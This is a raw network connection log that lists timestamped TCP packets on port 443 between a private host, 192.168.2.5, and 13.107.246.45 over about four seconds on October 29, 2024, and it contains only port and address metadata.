Oct 29, 2024 18:42:57.041146040 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.041225910 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:57.041358948 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:57.041372061 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.439567089 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.440979958 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.444778919 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.447165012 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.454870939 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.454905033 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.455426931 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.455432892 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.455725908 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.455785990 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.456212997 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.456228018 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.456507921 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.456573009 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.456911087 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.456926107 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.457220078 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.457231045 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.457597971 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.457602024 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.586257935 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.586335897 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.586436987 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.586447954 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.586502075 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.588124037 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.588130951 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.588182926 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.588241100 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.590188980 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.590219021 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.590266943 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.590361118 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.590362072 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.591964960 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.592123032 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.592180014 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.617050886 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.617063046 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.617098093 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.617103100 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.617986917 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.617996931 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.618006945 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.618012905 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.623291016 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.623363972 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.623696089 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.623712063 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.623857975 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.623857975 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.623895884 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.623938084 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.624859095 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.624859095 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.624901056 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.624927044 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.629446030 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.629507065 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.629628897 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630006075 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630019903 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.630053997 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630069971 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630079985 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.630194902 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630207062 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.630319118 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630371094 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.630436897 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630610943 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.630640984 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.631134033 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.631148100 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.631208897 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.631328106 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.631335020 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.748830080 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.748861074 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.748914003 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.749099970 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.749170065 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.749556065 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.749577999 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.749591112 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.749598026 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.752760887 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.752791882 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:58.752873898 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.753026009 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:58.753041983 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.399411917 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.399982929 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.400046110 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.400559902 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.400574923 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.401634932 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.401925087 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.401956081 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.402465105 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.402472973 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.405977964 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.406477928 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.406553984 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.406577110 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.406919003 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.406924009 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.407145977 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.407207012 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.407480001 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.407494068 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.526276112 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.526839972 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.526925087 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.527307987 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.527342081 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.529417992 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.530009031 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.530095100 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.530179977 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.530217886 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.530245066 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.530261993 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.533225060 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.533258915 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.533340931 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.533518076 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.533530951 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.535712004 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.535753965 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.535804987 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.535823107 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.535856009 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.535917997 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.536007881 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.536016941 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.536027908 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.536034107 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.538269997 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.538324118 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.538413048 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.538527966 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.538543940 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.539902925 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.539995909 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.540046930 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.540091038 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.540103912 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.540119886 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.540124893 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.542543888 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.542566061 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.542654037 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.542781115 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.542793036 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.544472933 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.544527054 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.544589043 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.544681072 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.544681072 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.544724941 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.544755936 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.546920061 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.546977043 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.547065020 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.547175884 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.547190905 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.662412882 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.662699938 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.662800074 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.662893057 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.662893057 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.662940979 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.662969112 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.666572094 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.666587114 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:59.666665077 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.666868925 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:59.666882038 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.270914078 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.271404982 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.271419048 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.272021055 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.272027016 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.278606892 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.279135942 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.279155016 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.279943943 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.279952049 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.282922029 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.283288002 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.283301115 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.283817053 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.283823967 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.287750959 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.288117886 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.288136005 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.288670063 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.288675070 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405237913 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405311108 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405364990 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.405383110 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405426979 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405479908 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.405668974 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.405683994 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.405694962 CET	49943	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.405699968 CET	443	49943	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.408611059 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.408772945 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.408818007 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.408895016 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.409105062 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.409118891 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.410846949 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.410937071 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.410979986 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.410979986 CET	49944	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.411003113 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.411015034 CET	443	49944	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413167953 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413207054 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413295984 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413297892 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413423061 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413436890 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413444042 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413487911 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413559914 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413566113 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.413575888 CET	49946	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.413580894 CET	443	49946	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.415642977 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.415672064 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.415776014 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.416063070 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.416076899 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.416754961 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.417412043 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.417467117 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.417468071 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.417517900 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.417555094 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.417570114 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.417579889 CET	49945	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.417592049 CET	443	49945	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.419712067 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.419735909 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.419816017 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.419931889 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.419941902 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.439594984 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.440159082 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.440177917 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.440623045 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.440628052 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.577745914 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.577800035 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.577889919 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.578124046 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.578138113 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.578149080 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.578154087 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.581264019 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.581311941 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:00.581403971 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.581686974 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:00.581706047 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.169915915 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.170444012 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.170463085 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.171108961 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.171113968 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.226476908 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.227185965 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.227200985 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.227632046 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.227637053 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.283077002 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.283647060 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.283657074 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.284099102 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.284109116 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.286442995 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.286753893 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.286761045 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.287086010 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.287091017 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.304583073 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.304652929 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.304739952 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.304766893 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.304831982 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.305030107 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.305056095 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.305068970 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.305077076 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.307970047 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.308016062 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.308104992 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.308324099 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.308339119 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.363099098 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.363157988 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.363223076 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.363496065 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.363527060 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.363543987 CET	49950	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.363554001 CET	443	49950	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.366807938 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.366914034 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.367034912 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.367233992 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.367270947 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.402160883 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.402805090 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.402841091 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.403469086 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.403481007 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.421571016 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.421606064 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.421650887 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.421684980 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.421729088 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.421870947 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.421888113 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.421900034 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.421905041 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.423618078 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.424926043 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.424985886 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.424995899 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.425005913 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.425033092 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.425040960 CET	443	49949	13.107.246.45	192.168.2.5
